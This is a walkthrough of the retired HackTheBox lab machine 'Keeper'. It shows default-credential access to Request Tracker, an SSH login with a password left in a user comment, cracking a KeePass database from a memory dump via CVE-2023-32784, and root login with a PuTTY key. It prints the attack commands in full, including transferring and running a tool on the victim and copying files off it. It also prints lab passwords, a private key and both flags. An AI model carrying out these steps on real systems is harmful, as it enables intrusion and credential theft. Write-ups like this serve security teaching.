the_open_door
coffee
ESEN

Keeper

HackTheBoxEasyLinux10.129.229.416 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#request-tracker#default-credentials#keepass#cve-2023-32784#memory-dump#putty#ppk#ssh-key#hash-cracking#linux#oscp
TL;DR. Keeper is an easy Linux box chaining three password-management slips. Port 80 serves nothing but a link to tickets.keeper.htb/rt/, a Request Tracker 4.4.4 that still accepts its factory credentials root/password. Inside, lnorgaard's user record carries her initial password in plain text in the comments field, and that gets us in over SSH. Her home holds an RT30000.zip with two files: a KeePass memory dump and the passcodes.kdbx database. That dump is CVE-2023-32784 (KeePass memory dump): KeePass used to leave almost every character of the master password in memory, and an extractor builds a wordlist of candidates with which john breaks the database. The password turns out to be a Danish dessert. Inside the database, the root entry carries a password that does not work and, in the notes field, a PuTTY private key that does.
About the evidence. Eight captures are published: two browser ones (the documentation for RT's default credentials and the login form), one of RT's admin panel showing lnorgaard's record, two of the KeePassXC interface and three of PuTTY, including root's session. They are all graphical interfaces, and this blog's standard keeps those as images rather than transcribing them to text. Everything else is transcribed. Both flags are published in full because the box is retired.

Reconnaissance#

Initial scan#

We start with a ping. The TTL field of the reply hints at the operating system: every OS starts it at a default value and every router decrements it by one per hop. A value close to 64 usually means Linux and one close to 128, Windows. Here it comes back as ttl=63, that is 64 minus one hop: it points to Linux (a hint, not a proof).


ping -c 1 10.129.229.41
64 bytes from 10.129.229.41: icmp_seq=1 ttl=63 time=20.5 ms

Full TCP scan of all 65535 ports: only two open.


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.229.41 -oG scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-11 20:07 +0000
Initiating SYN Stealth Scan at 20:07
Scanning 10.129.229.41 [65535 ports]
Discovered open port 22/tcp on 10.129.229.41
Discovered open port 80/tcp on 10.129.229.41
Completed SYN Stealth Scan at 20:07, 11.17s elapsed (65535 total ports)
Nmap scan report for 10.129.229.41
Host is up, received user-set (0.029s latency).
Scanned at 2026-10-11 20:07:37 UTC for 11s
Not shown: 65306 closed tcp ports (reset), 227 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds
           Raw packets sent: 68777 (3.026MB) | Rcvd: 65320 (2.613MB)

nmap -p22,80 -sCV 10.129.229.41 -oN targetedScan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-11 20:08 +0000
Nmap scan report for 10.129.229.41
Host is up (0.040s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.13 seconds

whatweb adds nothing: port 80 is a bare nginx with no detectable application.


whatweb http://10.129.229.41
http://10.129.229.41 [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.229.41], nginx[1.18.0]

A three-line front page#

nmap already warned the page has no title. In fact it has nothing: its entire HTML is one link.


curl http://10.129.229.41/
<html>
  <body>
    <a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
  </body>
</html>

The link points at a name, not an IP, so there is virtual hosting: the server returns one thing or another depending on the request's Host. For our browser to resolve it, we add it to /etc/hosts.


echo '10.129.229.41 tickets.keeper.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
10.129.229.41 tickets.keeper.htb

Shell as lnorgaard#

Request Tracker 4.4.4 with factory credentials#

With the name resolving, /rt/ answers. Fetching it with curl and piping it through html2text is enough for the only thing that matters about a login screen: which product and which version sits behind it. The rest of the form goes in its capture, which is where it reads.


curl 'http://tickets.keeper.htb/rt/' | html2text
...
[Request Tracker logo]RT for tickets.keeper.htb
...
Login 4.4.4+dfsg-2ubuntu1
...
»|« RT 4.4.4+dfsg-2ubuntu1 (Debian) Copyright 1996-2019 Best Practical
Solutions, LLC.
...

Request Tracker 4.4.4 by Best Practical. Looking up the product returns, before any exploit, the first thing to try against any panel: its default credentials.

Google result for "best practical solutions request tracker default credentials": username root and password password

RT 4.4.4+dfsg-2ubuntu1 login form on tickets.keeper.htb filled with root and password

They work. And RT's root is not the system's root: it is the application administrator, who can view and edit any user's record.

The password in the comments field#

In the admin panel, the user lnorgaard (Lise Nørgaard) has a complete record: email, real name, unix login and, at the bottom, a comments about this user box. What is written there is exactly what should never be written there.

lnorgaard's record at /rt/Admin/Users/Modify.html?id=27: Unix login lnorgaard and, under Comments about this user, "New user. Initial password set to Welcome2023!"

"New user. Initial password set to Welcome2023!". The Unix login field on that same record says lnorgaard, so we have a system username and password.


ssh lnorgaard@tickets.keeper.htb
...
lnorgaard@keeper:~$ whoami
lnorgaard

cat user.txt
8cc01bec081b7c8ebe3205a8b852b4f3

Shell as root#

A KeePass memory dump#

The home is not empty: next to the flag there is a zip named after a ticket number.


ls
RT30000.zip  user.txt

unzip RT30000.zip
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp
 extracting: passcodes.kdbx

ls
KeePassDumpFull.dmp  passcodes.kdbx  RT30000.zip  user.txt

Two files that together are an entire vulnerability: a KeePass database (.kdbx) and a memory dump of the process that had it open. That is CVE-2023-32784: up to version 2.53.1, KeePass's text box left a trail of the master password in memory, one character per position except the first, as strings like ●a, ●●b, ●●●c. The dump lets you rebuild the candidates.

We pull them over to Kali with the server Python ships with.


python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

wget -4 http://tickets.keeper.htb:8080/passcodes.kdbx
...
2026-10-11 22:05:13 (246 B/s) - ‘passcodes.kdbx’ saved [3630/3630]

wget wget -4 http://tickets.keeper.htb:8080/KeePassDumpFull.dmp
...
Downloaded: 1 files, 242M in 10m 5s (409 KB/s)

The leading wget wget is a typo, and the output itself gives it away: wget treats the first argument as one more URL, fails to resolve it, and that is why the summary says Downloaded: 1 files rather than two. The dump weighs 242 MB, hence the ten minutes.

From the dump to a candidate wordlist#

Jorian Woltjer's extractor does the reconstruction. We download it on Kali and ship it to the victim, which is where the dump lives.


wget https://github.com/JorianWoltjer/keepass-dump-extractor/releases/download/0.1.0/keepass-dump-extractor-x86_64-unknown-linux-gnu.tar.gz &>/dev/null

tar -xzf keepass-dump-extractor-x86_64-unknown-linux-gnu.tar.gz

ls
keepass-dump-extractor  keepass-dump-extractor-x86_64-unknown-linux-gnu.tar.gz

python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On the victim: fetch it, make it executable and run it against the dump. -f all asks for every variant it finds, and the result is a wordlist.


wget http://10.10.15.120:8000/keepass-dump-extractor
...
2026-10-12 01:26:50 (1.79 MB/s) - ‘keepass-dump-extractor’ saved [932312/932312]

chmod +x keepass-dump-extractor

./keepass-dump-extractor KeePassDumpFull.dmp -f all > wordlist.txt

python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Breaking the master password#


wget http://tickets.keeper.htb:8080/wordlist.txt
...
2026-10-11 23:28:04 (27.8 MB/s) - ‘wordlist.txt’ saved [9975/9975]

keepass2john turns the database into a hash John understands, and the wordlist we just generated does the rest (KeePass cracking).


keepass2john /machines/htb/keeper/content/passcodes.kdbx > hash

john --wordlist=wordlist.txt /machines/htb/keeper/content/hash
...
rødgrød med fløde (passcodes)
...

rødgrød med fløde: a Danish dessert, and the tongue-twister Danes use to spot foreigners. It fits the user: Lise Nørgaard, language Danish on her RT record. The detail is not anecdotal, it is what explains why a 9 KB wordlist finds it and rockyou does not.

root: password and PuTTY key#


keepassxc /machines/htb/keeper/content/passcodes.kdbx

The "Unlock KeePassXC Database" dialog over passcodes.kdbx with the password rødgrød med fløde typed in

There are two entries inside. The interesting one is called keeper.htb (Ticketing Server), its username is root and it carries two things: a password and, in the notes field, a private key in PuTTY format.

The keeper.htb (Ticketing Server) entry in KeePassXC: username root, password F4&gt;&lt;3K0nd! and, under Notes, a PuTTY-User-Key-File-3: ssh-rsa key with its rsa-key-20230519 comment

First thing is to try the password. And it does not work:


sshpass -p 'F4><3K0nd!' ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa root@tickets.keeper.htb
Permission denied, please try again.

A stored credential that does not work is a fact, not a dead end: the entry held two secrets and the one that works is the other.


nano ssh_key

cat ssh_key
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

The header names the format: PuTTY-User-Key-File-3, which is not OpenSSH's. The client that understands it without converting anything is PuTTY itself.


putty

PuTTY Configuration, Connection &gt; SSH &gt; Auth &gt; Credentials, with /machines/htb/keeper/content/ssh_key loaded as the private key

PuTTY Configuration, Session screen, with tickets.keeper.htb as Host Name and port 22 over SSH

The key authenticates straight as root, with no password and no further escalation:

login as: root
Authenticating with public key "rsa-key-20230519"
root@keeper:~# ls
root.txt  RT30000.zip  SQL
root@keeper:~# cat root.txt
984882eff8f9453130899f184e508046

Box rooted.

Attack chain#

HTTP (80)  ─►  una portada de tres lineas con un enlace a tickets.keeper.htb/rt/
  │  /etc/hosts  ─►  Request Tracker 4.4.4
  ▼
RT con credenciales de fabrica (root:password)
  │  panel de administracion  ─►  ficha de lnorgaard
  ▼
"Initial password set to Welcome2023!" en el campo de comentarios  ─►  ssh lnorgaard  ─►  user.txt
  │  RT30000.zip  ─►  KeePassDumpFull.dmp + passcodes.kdbx
  ▼
CVE-2023-32784  ─►  keepass-dump-extractor  ─►  diccionario de candidatas
  │  keepass2john + john  ─►  "rodgrod med flode"
  ▼
entrada de root: la CONTRASENA no vale; la clave PuTTY del campo de notas si
  │  putty con ssh_key
  ▼
root@keeper  ─►  root.txt

Lessons learned#

  • Factory credentials are the first test, not the last. root/password on an exposed Request Tracker saved any exploit. Identifying product and version and looking up its default credentials costs a minute and solves whole panels.
  • The comments field of an admin panel is plain text. lnorgaard's initial password was written there out of administrative convenience, and it was still valid. An initial password that does not expire on first login is a permanent password.
  • A memory dump is a secret, even when the file does not look like one. The .dmp travelled in the same zip as the database it protected. CVE-2023-32784 was only needed because someone stored the padlock and the photograph of the key together.
  • The right wordlist weighs 9 KB. rockyou does not contain rødgrød med fløde; the extractor does, because it rebuilt it from the dump itself. When a password is a phrase in another language, the attack is not more brute force: it is better material.
  • A password-manager entry can hold more than one secret. Root's password returned Permission denied and the way in was in the notes field. Emptying a manager's free-text fields before calling it reviewed is part of the job.
  • The key format decides the tool. PuTTY-User-Key-File-3 is not OpenSSH: either convert it with puttygen or use the client that understands it. Recognising the header saves a fight with an ssh -i that was never going to work.
Command cheatsheet 14 commands

Quick review